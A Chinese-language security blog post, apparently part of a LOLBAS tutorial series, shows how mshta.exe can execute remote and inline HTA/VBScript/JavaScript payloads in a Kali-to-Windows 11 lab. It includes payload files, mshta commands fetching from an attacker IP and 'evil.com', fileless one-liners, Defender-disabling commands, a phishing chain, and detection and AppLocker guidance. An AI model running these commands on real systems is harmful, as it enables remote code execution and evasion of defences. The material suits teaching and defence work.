iT邦幫忙

2025 iThome 鐵人賽

DAY 7
0
Security

《30天深入 LOLBAS:從內建工具到紅藍隊武器化》系列 第 7

【LOLBAS鐵人賽Day7】Mshta.exe深度實戰:HTA應用程式的惡意執行

  • 分享至 

  • xImage
  •  

mshta.exe 是用來執行 HTA(HTML Application)檔案的工具,
偶爾看到一些老舊的企業內部工具會用 HTA 做簡單的 GUI 介面。
其實 mshta 不只能執行本地 HTA,還能直接執行遠端檔案、
甚至能執行 JavaScript/VBScript 程式碼,完全不需要檔案落地!

什麼是 HTA?

HTA(HTML Application)是 Microsoft 在 Internet Explorer 5 時代推出的技術,
讓開發者可以用 HTML + JavaScript/VBScript 來建立桌面應用程式。

HTA 的特點

  • 副檔名.hta
  • 執行程式mshta.exe(Microsoft HTML Application Host)
  • 權限:以完整的本地權限執行(不受瀏覽器沙箱限制)
  • 支援語言:HTML、JavaScript、VBScript、CSS
  • 特殊能力:可以存取檔案系統、執行系統命令、操作登錄機碼

正常的 HTA 範例

<html>
<head>
  <title>系統資訊檢視器</title>
  <HTA:APPLICATION 
    ID="SysInfo"
    APPLICATIONNAME="System Info"
    BORDER="dialog"
    ICON="info.ico">
</head>
<body>
  <h1>系統資訊</h1>
  <script language="JavaScript">
    var wmi = GetObject("winmgmts:");
    var os = wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem");
    document.write("OS: " + os.Caption);
  </script>
</body>
</html>

為什麼 HTA 危險?

  1. 完整系統權限:不像網頁受到沙箱限制,HTA 可以做任何事
  2. 看起來無害:副檔名不在常見的危險清單中(.exe、.bat、.ps1)
  3. 支援遠端載入:可以直接執行網路上的 HTA
  4. 內建於 Windows:mshta.exe 是系統元件,有合法簽章

今天就來實測 Windows 11 上 mshta 的各種危險用法。

HTA vs 其他檔案類型

檔案類型 執行方式 權限等級 網路執行 Windows Defender
.exe 直接執行 完整 需下載 x
.ps1 PowerShell 受限於執行原則 可以 x
.js/.vbs wscript/cscript 受限 需下載 x
.hta mshta.exe 完整 直接執行 較少監控

環境準備

今天的實作會需要兩台機器:

Attacker Machine: Kali
Victim Machine: Windows 11

Attacker Machine (Kali):

# 建立測試目錄
mkdir ~/mshta_demo && cd ~/mshta_demo

# 建立標準 HTA 檔案
cat > payload.hta << 'EOF'
<html>
<head>
<title>Test HTA</title>
<HTA:APPLICATION ID="TestHTA" 
   APPLICATIONNAME="Test" 
   WINDOWSTATE="minimize">
</head>
<body>
<script language="VBScript">
  Set shell = CreateObject("WScript.Shell")
  shell.Run "calc.exe"
  shell.Run "cmd.exe /c echo HTA_Executed > C:\Windows\Temp\mshta_test.txt", 0
  Self.Close
</script>
</body>
</html>
EOF

# 建立 JavaScript 版本
cat > js_payload.hta << 'EOF'
<script language="JavaScript">
  var shell = new ActiveXObject("WScript.Shell");
  shell.Run("calc.exe");
  shell.Run("powershell -c Write-Host 'MSHTA Executed!' -ForegroundColor Red");
  window.close();
</script>
EOF

# 建立混合 payload(PowerShell)
cat > ps_payload.hta << 'EOF'
<script>
var c = "powershell -enc ";
var e = "V3JpdGUtSG9zdCAnRW5jb2RlZCBQYXlsb2FkIScgLUZvcmVncm91bmRDb2xvciBSZWQ7IGNhbGMuZXhl";
new ActiveXObject("WScript.Shell").Run(c+e,0);
window.close();
</script>
EOF

# 啟動 Web Server
python3 -m http.server 8080

Victim Machine (Windows 11):

:: 建立測試環境
mkdir C:\TestLab
cd C:\TestLab

:: 暫時關閉防護(測試環境)
powershell -c "Add-MpPreference -ExclusionPath 'C:\TestLab'"
powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"

Mshta 三大危險技巧

技巧一:執行遠端 HTA(最直接)

:: 設定攻擊者 IP
set ATTACKER=10.211.55.6

:: 直接執行遠端 HTA
mshta http://%ATTACKER%:8080/payload.hta

:: HTTPS 版本(繞過某些防火牆)
mshta https://evil.com/payload.hta

:: 短網址(隱藏真實來源)
mshta http://bit.ly/3xY

:: 一行執行(常見於釣魚郵件)
cmd /c mshta http://%ATTACKER%:8080/js_payload.hta

執行後計算機會彈出,完全不需要下載檔案到本地!

技巧二:執行 inline JavaScript/VBScript(無檔案)

這是最危險的技術,完全不需要 HTA 檔案:

:: JavaScript inline 執行
mshta javascript:alert("Test");window.close();

:: 執行系統命令
mshta javascript:var%20s=new%20ActiveXObject('WScript.Shell');s.Run('calc.exe');window.close();

:: VBScript 版本
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run(""calc.exe""):window.close")

:: 更複雜的 payload
mshta javascript:window.moveTo(-4000,-4000);window.resizeTo(0,0);var%20s=new%20ActiveXObject('WScript.Shell');s.Run('powershell%20-w%20hidden%20-c%20calc');window.close();

實戰:完整攻擊鏈

典型的 HTA 釣魚攻擊流程

1. 攻擊者發送釣魚郵件
   主旨:「緊急:請查看您的薪資單」
   附件:Payroll_2024.doc.hta(雙重副檔名偽裝)

2. 使用者點擊附件
   Windows 預設用 mshta.exe 開啟

3. HTA 執行惡意程式碼
   - 顯示假的錯誤訊息(「檔案已損壞」)
   - 背景下載真正的惡意程式
   - 建立持續性機制

4. 清理痕跡
   - HTA 自我刪除
   - 清除事件日誌

偵測與防禦

關鍵偵測指標

  • mshta.exe + HTTP/HTTPS URL
  • mshta.exe + javascript:vbscript:
  • mshta.exe 產生 PowerShell/CMD 子程序
  • mshta.exe 從 Office/瀏覽器啟動

檢查系統痕跡

# 檢查 Temp 檔案
Get-ChildItem "$env:TEMP" -Filter "*.hta" -ErrorAction SilentlyContinue

# 檢查啟動項目
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | 
    Select-Object * | Where-Object {$_ -match "mshta"}

# 檢查排程任務
Get-ScheduledTask | Where-Object {$_.Actions.Execute -match "mshta"}

AppLocker 規則

<FilePathRule Id="Block_MSHTA" Name="Block MSHTA Network" Action="Deny">
  <Conditions>
    <FilePathCondition Path="%SYSTEM32%\mshta.exe"/>
  </Conditions>
</FilePathRule>

群組原則

  • 禁用 HTA 檔案關聯
  • 限制 mshta.exe 執行權限
  • 阻擋 mshta 的網路存取

總結!

Mshta 是個極度危險的 LOLBAS 工具,因為它:

  • 原生支援腳本 - JavaScript/VBScript 直接執行
  • 支援遠端載入 - 不需要檔案落地
  • Inline 執行 - 完全無檔案攻擊
  • 使用者信任 - 看起來像正常的 HTML 應用

p.s HTA 技術很老但很有效,因為 Windows 需要向後相容。有趣的是,Microsoft Edge 已經不支援 HTA,但 mshta.exe 還在,所以攻擊者仍然可以利用。


上一篇
【LOLBAS鐵人賽Day6】Regsvr32.exe深度實戰:Squiblydoo攻擊!
下一篇
【LOLBAS鐵人賽Day8】Cscript/Wscript深度實戰:Windows Script Host的惡意利用
系列文
《30天深入 LOLBAS:從內建工具到紅藍隊武器化》8
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言